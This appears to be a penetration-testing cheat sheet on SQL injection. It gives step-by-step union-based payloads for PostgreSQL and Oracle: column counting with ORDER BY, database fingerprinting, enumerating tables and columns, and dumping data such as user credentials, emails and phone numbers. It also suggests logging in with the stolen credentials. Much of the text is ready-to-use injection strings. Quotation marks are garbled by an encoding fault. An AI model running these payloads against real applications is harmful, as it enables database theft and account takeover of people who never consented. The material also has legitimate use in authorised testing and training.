SQLI
The leading cause of SQL injection is string concatenation.
This vulnerability can be exploited to dump the contents of an application database.
The two most common types of SQL injection are union-based and error-based.
Union-based SQL injection: uses the âUNIONâ SQL operator to combine the results of two or more âSELECTâ statements into a single result.
Error-based SQL injection: utilizes the errors the SQL server throws to extract information.
MySql
Automation: using SqlMap.
Swap tabs
PostgreSQL
In case an error message is displayed, if you see the âpsycopg2â name you know youâre working with a Postgres database server.
Union Based
Figure out how many columns the endpoint contains using the âorder byâ operator and keep adding one to the number until you get an error:
--> Order by 1 --> Order by 2 --> Order by n --> error (indicates there must be n-1 columns).
Figure out which columns are being displayed on the page using the âunion all selectâ statement which can be accomplished by putting an invalid value:
--> Notice the numbers on the page refer to the columns displayed on the front end.
If you weren't able to detect the database type from the error message you could always use the âversion()â function to print the database type:
-->-1 union all select 1,version()
Get a list of all tables in the databases:
// Offset â0â gets the first table name, offset â1â gets the second, and so on.
// filter out the default databases âpg_catalogâ and âinformation_schemaâ as they tend to clog up the results.
union all select 1,table_name from information_schema.tables where table_schema != 'pg_catalog' and table_schema != 'information_schema' offset 0
Get a list of columns belonging to a specific table:
union all select 1,column_name from information_schema.columns where table_name = 'tbName' offset 0
Dump the contents of specific columns:
union all select 1,concat(col,':',col) from tbName offset 0
In case retrieving username:password for a user, we can use them to log in as that user.
Oracle
Requires some additional knowledge to successfully exploit it.
Similar to PostgreSQL when you are selecting a column it must match the type of the first select statement.
When using the select operator you must specify a default âdualâ table.
Test
Throw a bunch of single and double quotes around until you get an error message starting with âORAâ which indicates dealing with an Oracle database.
Union Based
Figure out how many columns the endpoint contains using the âorder byâ operator and keep adding one to the number until you get an error:
--> Order by 1 --> Order by 2 --> Order by n --> error (indicates there must be n-1 columns).
Figure out which columns are being displayed on the page using the âunion all selectâ statement which can be accomplished by putting an invalid value:
--> Notice the numbers on the page refer to the columns displayed on the front end.
Figure out the target table name:
//Oracle uses the âall_tablesâ e to get a list of tables.
// When using the listagg() function you must also use the âwithin group()â operator to specify the order of the listagg function results.
union all select LISTAGG(table_name,',') within group (ORDER BY table_name),null from all_tables where tablespace_name = 'USERS' --
Get the table's columns:
union all select LISTAGG(column_name,',') within group (ORDER BY column_name),null from all_tab_columns where table_name = 'EMPLOYEES'--
Extract the sensitive information
Union all select email,phone_number from employees
Last updated